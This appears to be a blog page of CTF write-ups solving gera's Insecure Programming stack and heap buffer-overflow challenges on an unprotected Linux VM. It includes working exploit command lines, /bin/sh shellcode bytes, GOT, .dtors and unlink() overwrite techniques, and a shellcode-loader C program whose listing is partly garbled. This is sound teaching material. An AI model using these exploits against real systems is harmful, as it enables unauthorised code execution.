Showing posts with label gera. Show all posts
Showing posts with label gera. Show all posts

10/19/2008

Advanced Buffer Overflows: Defeating #9

After the fun-and-go! session in the previous post it didn't take too long to create a exploit for this kind of situation. Today I present the solution for the 9th level of the Advanced Buffer Overflows challenge which deals with free() and a dlmalloc implementation. First of all, lets take a look at the C source:
int main(int argv,char **argc) {
char *pbuf1=(char*)malloc(256);
char *pbuf2=(char*)malloc(256);

gets(pbuf1);
free(pbuf2);
free(pbuf1);
}

In my particular case I changed gets() for strpy() using the call parameters as input vector to ease data input and exploitment, which doesn't alter the bug in any way. This level is textbook example of a Heap Buffer Overflow situation in which we fool the implementation and the unlink() macro to overwrite arbitrary bytes in memory.

As explained in our last post, we need to create a fake chunk header in one of our buffers and fool free() to unlink() it. For this purpose we will overwrite the chunk header of buf2 so that calculations will lead the implementation to our fake chunk header. We will overwrite the prev_size field so that when _int_free() calculates the address of the previous chunk, it gets to our fake chunk header. Instead of making a step-by-step debugging session, I will explain the key instructions where data flow gets manipulated. Remember you can grab the disassembly here.

First let's begin by showing how the call will be so that we can identify the data we're analizing. Note in this call that the sub-sequence in blue is where our overflow begins and this 8 bytes will eventually fill the chunk header for buf2:

[infi@localhost insecure]$ ./abo9 `python -c 'print "\xeb\x0e"+"A"*14+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*188+"\xff\xff\xff\xff"+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xff\xff\xff"*2+"\x9c\x95\x04\x08"+"\x08\x96\x04\x08"'`
sh-2.05b$


In 0x4207446b the address of \xf8\xff\xff\xff gets loaded into ecx and right after that \xf0\xff\xff\xff is copied into eax. At address 0x42074477 eax is copied into esi. One of the critical points comes in 0x420744ad because esi=0xfffffff0 and ecx=0x08049708 get added and the result is stored in eax, which now contains 0x08049718; the theoretical start address of our fake chunk where the theoretical fd and bk pointers are (in red in the call sequence).

Anyway all of that is there just to success some checks, the real magic begins now. At 0x420744c8 edi-8 (the address of buf2) will be stored in eax, thus saving the prev_size field of buf2's chunk header in it. In the next instruction and remembering that ecx holds the address of the prev_size of buf2, ecx = ecx - eax is executed. Now remember that we manipulated the prev_size of buf2 to read 0xfffffff8 (-8), so this will effectively makes ecx point to an address inside buf2, which we can manipulate due to the overflow. ecx now points into 0x08049710, the chunk header of our fake chunk. Since the first 8 bytes of this "unused" buffer are fd and bk pointers our job is kindly completed by unlink() which using offsets 0x8 and 0xc will write 0x08049608 (address of our shellcode, stored in buf1 itself) in 0x0804959c+12=0x080495a8 (address of free@GOT).

That's basically it but a couple of notes here. First of all, shellcode+8 will get clobbered by 0x0804959c , thats how unlink() works. To make the shellcode work properly, we place a unconditional jump in the beginning and jump over the clobbered area, thats why we include "\xeb\x0e"+"A"*14 in the beginning of the shellcode (eb is the opcode for "jmp" and 0x0e=14 is the offset). Also, we need to make sure we overwrite the GOT entry for free() because right after we trick free() into doing this, it gets called once again over buf1, and after manipulating headers this way, the program crashes with a segment violation signal.

I hope this little walktrough enlightened somebody as just did with me. For any suggestion, question or whatever don't hesitate to drop a comment or write an email. See you next time and keep adding NOPs!

9/19/2008

Advanced Buffer Overflows Revolutions

It's been a long summer break since I last posted here. I thought there would be no break this summer but after some hardcore sessions at the Euskal Encounter 16 I felt I needed one. Yet again, I'll cover some levels of the Insecure Programming challenges by gera from Core SDI. Last time we covered levels up to 4 in the Advanced Buffer Overflows section. This time around, we'll go for the fifth and sixth levels. But first of all, a small news in the matter: Apparently levels 7 and 8 take advantage of certain setups of the different sections in memory to be able to corrupt the buffers and they need to be compiled with old versions of gcc(2.x.x), thus will not be featured here.

Time for some binary fun then. Let's take a look at level 5 and see what can be done:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}
At first look the only thing we can overrun in this case is the buf buffer. But what can we overwrite and with what purpose? Well, pbuf pointer is right next to buf in the stack as local variable so that's clearly a target. Now that we acquired a target, what can we do with it? If we take a close look at the for sequence right after the call to strcpy() we notice that actually it's a custom implementation of a strcpy() call in which we control both parameters.

The path is clear then, we'll smash the pbuf pointer so that we can write wherever we want in memory. The only thing left now is to choose what to and where to write; we have different successful choices here. We can overwrite the GOT entry for the exit() call or we can also go for the executable destructors in the .dtors section of the binary. In this particular case, I'll go for the latter because it's a route I've never took before. First we need to find the address of the particular area in the .dtors section we want to overwrite. Some research within gdb will do the job:

0x080495fc->0x08049604 at 0x000005fc: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08049604->0x0804960c at 0x00000604: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x0804960c->0x08049610 at 0x0000060c: .jcr ALLOC LOAD DATA HAS_CONTENTS


(gdb) x/x 0x08049604
0x8049604 <__dtor_list__>: 0xffffffff
(gdb) x/x 0x08049608
0x8049608 <__dtor_end__>: 0x00000000


Thus, the address we want overwrite is 0x8049608 which will become sort of a jump pad to where we want to execute. And where do we want to execute? In our shellcode, naturally. As we did in the previous solutions, we will use abo1exp and thus load the shellcode in a environment variable with a known address within memory; 0xbfffff40. Here's the resulting call:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo5 `python -c 'print "A"*268+"\x08\x96\x04\x08"+" \x40\xff\xff\xbf"'`

sh-3.00$


Now into level 6 then. This is how it looks:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Both strcpy() make it look simple, but that's not the case (not at least compared to all the previous levels). We can clearly write wherever we want in memory, but notice that after we managed to overwrite there's a infinite loop in there, hence, the "what to overwrite" requires a special approach. Since strcpy() itself is a function call, everytime we call it, we go for the traditional function prelude in the assembler level, storing the ret value in the stack.

Our test system isn't running any kind of stack randomization patch nor anything so we can guess beforehand in what address the ret value will be stored and write there. Since the writing process will become effective inside the strcpy() implementation, the ret value will be already stored and no smashing will happen from the normal flow of the program. I want to stress here that the call that does the trick is the second one, the first call to strcpy() just gives us control over the pbuf pointer.

The main difficulty in this case was finding the exact address of the ret value. In my case I used different values and analized core dumps (remember to set "ulimit -c unlimited" to get core dumps) to find it. The address turned out to be 0xbfffee8c thus making the call pretty straightforward:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo6 `python -c 'print "A"*268+"\x8c\xee\xff\xbf"+" \x40\xff\xff\xbf"'`

sh-3.0


As a final note for this level, when the binary was compiled using the -ggdb flag for debugging, the exploit didn't work outside gdb and the ret address was smashed in a byte of the whole dword(thanks to erg0t for enlightening me on this one :-).

So that was it, hopefully I can get back on track with these challenges in a more regular schedule now with the beginning of the new academic year. Hope you enjoyed it as much as I did and don't forget to keep adding NOPs!

7/24/2008

Advanced Buffer Overflows, Take #2

Hello again fellows, tonight, we'll take another step ahead in solving gera's programming challenges with this second take in the Advanced Buffer Overflows section. Unlike the previous take, this one will cover more than one level: from second to fourth to be more precise. As usual we'll take a look at the source and make an hypothesis on the possible attack path to follow. Without greater delay, let's begin.

This is how #2 looks like:
int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}
As an avid reader might have noticed, despite the obvious possibility to overflow the buffer in the stack, the exit() call right after the strcpy() makes impossible ever reaching any ret value we might have corrupted. After hitting the wall a couple of times, I noticed that in gera's solutions, the best outcome seemed to be a local DoS attack to the program. For this purpose we can make a call using a VERY LARGE sequence of characters so that memory would get largely corrupted and program wouldn't be able to continue it's normal way (presumably smashing the GOT or PLT entries where references to exit() are saved for dynamic linking). Not the most elegant solution but this is what this circumstances led us to :(

Turning our look to #3:
int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

The pointer mess in this case might scare the newcomer but once the fog clears out we notice what a piece of cake this is. All we have to face this time is a locally defined function pointer; right after our stack buffer. This should make your mouth sweat. Funny enough, the same approach we followed in abo1 will do the job this time. How? someone might ask. While in the first level we overwrote the ret value, this time we can overwrite a pointer to a function that will be called right after we smash the stack.(I won't display the solution here to keep the post-size as efficient as possible)

At this point we make it into #4, the bad boy:
extern system,puts; 
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

Like in #3, this time we have function pointers around and like in #3 we call the function using the pointer after smashing the buffer but...the pointer is defined OUT of the local function, thus no function pointer abuse this time. Apparently, the only thing we can smash in this situation is the pbuf pointer which points to the region allocated in the heap to place argc[2] or the 2º argument. This will do the trick, we will overwrite the pbuf pointer so that we can freely control the second strcpy() and write wherever in memory we want. If we use gdb to investigate a little, we'll notice that the adress of fn() is actually 0x0804974c. To store the shellcode we will follow the same approach we used in the previous buffer overflow levels, we will store it in a environment variable(remember we used address 0xbfffff40 for that one). Recapping a little this is how we would build the call:

infi@labo:~/InsecureProgramming> ./abo4 `python -c 'print "A"*268+"\x4c\x97\x04\x08"'` `python -c 'print "\x40\xff\xff\xbf"'` CCCC
sh-3.00$


Once again, mission complete. This is it for today, more from challenges will be coming shortly. Keep adding NOPs!

7/11/2008

Advanced Buffer Overflows, Take #1

Welcome back. Today we will make another step ahead in the path gera set up some time ago. Today's topic will be the first challenge of the ADVANCED BUFFER OVERFLOWS section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.

This how the C source looks like:

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
}

The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.

Now, we can take too diferents approaches while exploiting this error after overwriting the ret value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".

Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the ret value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after 0xbffffffa.

Once having understood the breafing, let's move into more practical ground. In my case I'll use the COLORTERM variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (abo1exp.c) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):
#include

#define BUFFSIZE 256
#define NOP 0x90

char sc[] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char *argv[]){
char *buff, *ptr;
int bsize=BUFFSIZE,i;

if(!(buff = malloc(bsize))){
printf("Can't allocate memory.\n");
exit(0);
}

ptr = buff;

for(i=0;i< colorterm=",10); putenv(buff); system(">


Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding 0xbffffffa:

(gdb) x/20x 0xbfffff40
0xbfffff40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)



Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case 0xbfffff40 turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend python to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the ret value when we used 272 characters, therefore 272 - 4(size of word) = 268:

infi@labo:~/InsecureProgramming> ./abo1exp
infi@labo:~/InsecureProgramming> ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`
sh-3.00$


So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!

6/25/2008

WARMING UP on STACK - Part II

Last time we worked on the first three levels of the WARMING UP on STACK section of gera's exploit challenge, today we'll clear the remaining two. Both will be covered as a single solution since they only differ in the output message after succeeding. As we mentioned, the path to the solution is a little bit different than the other levels. Last time all we had to do is overflow our buffer until we reached the cookie value. This time rather than changing a local variable's value, we will change the execution flow of our program.

For this to be possible, we need a refresher on what role the stack plays in the proper flow of a program. From a C language point of view each time we call a function a couple of mandatory proceedings happen within the stack. First, when the assembly instruction call is executed, the current value of the eip register gets pushed into the stack (which grows towards lower memory addresses) so that when the function finishes we can get back to where we were executing instructions. Next, we save the current ebp register value in the stack and set the current esp value as ebp to have a consistent placeholder value from where to retrieve local variables and function parameters. To summarize, this is what a x86 assembly stack frame setup would look like:

Random program calls function X():
...
...
call to function X ----------------------> call X
this is where execution will return
after X() does his job -----------------> ...

and after the call we land in X:

first, save current EBP --------------> push ebp
then, update EBP ---------------------> mov esp, ebp
...

This figures might change depending on architecture and syntax, but I think the general idea should be clear for now :-). Now moving on, the saved ebp and ret values (the saved eip value, called ret from now on) are stored on the stack AFTER our buffer. At this point the path seems a little more obvious, why not overrun the stack and change our ret value so instead of returning to the callee (the program that called it), return to the "you win!" path inside the if statement?

First we need to figure out how much we need to overwrite to get to the ret value. If we recall from the previous levels, at the time we used 92bytes plus the value we wanted the cookie to have. If we take a look at the stack layout from the previous sessions and the theory we just reviewed, the ret value should be right after the saved ebp that we have already identified:


With a little math we can see the ret value (shown in green), is 16 bytes ahead of the cookie, so; 92 + cookie(4bytes) + 16 = 112bytes. Let's try that much and see what happens:
As you can see from the Core Dump (use "$ulimit -c unlimited" if you're not getting dumps) we smashed the return value with 0x41414141 which is the hex value of the A character's we used. Therefore, all we need now is to write 108+the ret value we want in the buffer. If we read the disassemble we can use the value of the path is taken had the if comparison be true, 0x08048438. I want to stress at this point that hardcoding this kind of addresses is just possible because we are using a unpatched version of linux without ASLR and other protection measures. Keeping in my the endianness and using a similar command line setup of the previous sessions, we can bypass the cookie comparison again:

A smart reader might have noticed that althought we get the win and loose messages confirming our success, we get a segmentation fault each time. This happens because althought our ret overwriting succeeded, we also smashed the ebp value which gets pop'd when the functions ends. This corrupted value is needed by the callee and other functions and these fail if the value doesn't have a proper meaning, which after filling with A's doesn't. I tried to find a workaround and tested several values from values in various execution situations but a the pushes and pops of the values from the printf parameters seems to screw up my calculations.

Hope anybody got a more elegant solution than mine and posts it as a comment or anywhere else, but for the purpose I think this is enough. This article finishes the WARMING UP on STACK section, in the future I will try to continue with the rest of the sections but I don't promise anything at this point :-) Thanks for reading if you got up to this point!

6/24/2008

WARMING UP on STACK - Part I

In our last post we talked about a challenge set up by gera from Core Security. Since these challenges make up a good training ground for further real world exploit situations I decided to give a shot at them now that my schedule got a little softer.

We will start from the ground up and cover levels #1 to #3 from the "Warming up on Stack" section which, as the name implies, are just a warmup. To get the job done, we needed a linux distribution that doesn't include any security filters such as ASLR or Non-executable stack or the PaX patch; in my case, I chose to use SUSE 9.3 inside a virtual machine. Completenting our toolset we will use the usual set; gdb, python and a terminal (Hello, Konsole :-).

First, let's take a look at the challenges source code:
int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}
Nothing strange in here, a simple C program that uses libc's very own gets() function to receive some input from stdin. If we take a look at the disassembled code we notice that all it takes to get into the good-boy is to succeed in the hardcoded comparison against the 0x41424344 cookie, no news after the C source. So let's setup a breakpoint at the comparison and take a look at the stack layout.


Once we hit the breakpoint we analyze the stack:


This is where the fun begins. You can see where our garbage A's begin and where our cookie and ebp are so, all that's left is a little hex math. ebp is at 0xbffff118, the cookie at 0xbffff10c and our buffer starts at 0xbffff0b0, thats 92 bytes from our buffer till the cookie(which at the same time is 12 bytes minus ebp, as the cmp instruction shows). Therefore we have all we need, the offset and the value of the cookie. All that's left to do is just injecting those values in our buffer, and that's were python comes to play. We can build our string with python and then pipe the result to our program like this:


The first three levels covered in this post are just little variants of each other where the only difference is the value of the cookie. This is no match for python which handles hex values just as fine, congratulating us with a gentle "you win!".

Now this is it for today, The 4th and 5th levels are a bit different because they deal with carriage return and new line values in the cookie (0x0d and 0x0a, respectively) and thus, require a different approach. I hope you enjoyed this as much as I did solving them. Keep adding NOPs! :-)